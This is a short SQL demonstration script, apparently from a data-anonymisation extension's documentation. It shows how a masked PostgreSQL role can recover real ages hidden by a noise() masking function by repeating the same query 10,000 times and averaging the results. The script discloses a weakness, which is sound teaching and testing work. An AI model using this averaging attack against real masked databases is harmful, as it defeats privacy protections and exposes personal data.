--
-- This is a basic example of a repeat attacks against the noise() masking
-- functions when they're used with dynamic masking.. We will demonstrate how
-- a masked role can guess a real data using only the masking view
--

-- STEP 1 : Activate the masking engine
CREATE EXTENSION IF NOT EXISTS anon CASCADE;
SELECT anon.start_dynamic_masking();

-- STEP 2: Declare a masked user
CREATE ROLE attacker LOGIN;
SECURITY LABEL FOR anon ON ROLE attacker IS 'MASKED';

-- STEP 3: Load the data
DROP TABLE IF EXISTS people CASCADE;
CREATE TABLE people ( id INT, name TEXT, age INT);
INSERT INTO people VALUES (157, 'Mike Ehrmantraut' , 63);
INSERT INTO people VALUES (482, 'Jimmy McGill',  47);

-- STEP 4: Declare the masking rules
SECURITY LABEL FOR anon ON COLUMN people.name
IS 'MASKED WITH VALUE $$CONFIDENTIAL$$ ';

SECURITY LABEL FOR anon ON COLUMN people.age
IS 'MASKED WITH FUNCTION anon.noise(age, 0.33)';

-- STEP 5: Now let's connect with the masked user

\connect - attacker

-- When attacker asks for the age of person #157, he/she gets a "noised" value
SELECT age FROM people WHERE id = 157

-- Now let's do this 10000 times and get the average
DO
$$
DECLARE
  v iNT;
  a int[];
BEGIN
  FOR i in 1..10000
  LOOP
    SELECT age into v FROM people WHERE id=157;
    a:=array_append(a,v);
  END LOOP;
  SELECT avg(u) into v FROM unnest(a) u;
  RAISE NOTICE 'Age of Person 157: %', v; END
$$;